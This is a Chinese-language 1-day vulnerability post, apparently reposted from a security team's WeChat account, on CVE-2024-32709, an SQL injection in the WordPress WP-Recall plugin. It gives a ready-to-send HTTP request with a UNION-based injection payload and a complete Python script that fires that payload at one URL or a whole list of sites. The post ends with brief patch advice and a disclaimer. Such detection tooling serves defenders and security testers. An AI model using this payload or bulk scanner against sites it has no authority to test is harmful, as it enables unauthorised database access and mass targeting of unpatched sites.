"/wp-content/plugins/wp-recall/"
一、漏洞简述
WordPress是一款免费开源的内容管理系统(CMS),最初是一个博客平台,但后来发展成为一个功能强大的网站建设工具,适用于各种类型的网站,包括个人博客、企业网站、电子商务网站等,并逐步演化成一款内容管理系统软件。其插件WP-Recall其插件存在account存在SQL注入漏洞,攻击者可通过该漏洞获取数据库敏感信息。
二、漏洞检测poc
GET /account/?user=1&tab=groups&group-name=p%27+or+%27%%27=%27%%27+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat(%22Database:%22,md5(123456),0x7c),13--+- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Connection: close
三、漏洞检测脚本
安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞:
https://github.com/ATonysan/poc-exp/blob/main/WordPressRecall_CVE-2024-32709_SQLInject.py
import urllib.request import urllib3 import re,string,random from urllib.parse import urljoin import argparse import ssl ssl._create_default_https_context = ssl._create_unverified_context urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def read_file(file_path): with open(file_path, 'r') as file: urls = file.read().splitlines() return urls def check(url): url = url.rstrip("/") target = url+"/account/?user=1&tab=groups&group-name=p%27+or+%27%%27=%27%%27+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat(%22Database:%22,md5(123456),0x7c),13--+-" headers = { "User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36", } try: response = urllib.request.Request(target, headers=headers, method="GET", unverifiable=True) res = urllib.request.urlopen(response) status_code = res.getcode() content = res.read().decode() if status_code == 200 and 'e10adc3949ba59abbe56e057f20f883e' in content: print(f"\033[31mDiscovered;{url}: WordPressRecall_CVE-2024-32709_SQLInject!\033[0m") return True except Exception as e: pass if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="URL") parser.add_argument("-f", "--txt", help="file") args = parser.parse_args() url = args.url txt = args.txt if url: check(url) elif txt: urls = read_file(txt) for url in urls: check(url) else: print("help")
批量检测:
python WordPressRecall_CVE-2024-32709_SQLInject.py -f url.txt
单个url检测漏洞:
python WordPressRecall_CVE-2024-32709_SQLInject.py -u url
四、修复
官方已更新补丁,请升级至最新版本。
官网地址:https://wordpress.com/zh-cn/
原文始发于微信公众号(苏诺木安全团队):【1day】WordPress插件Recall CVE-2024-32709 SQL注入漏洞【附poc】
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论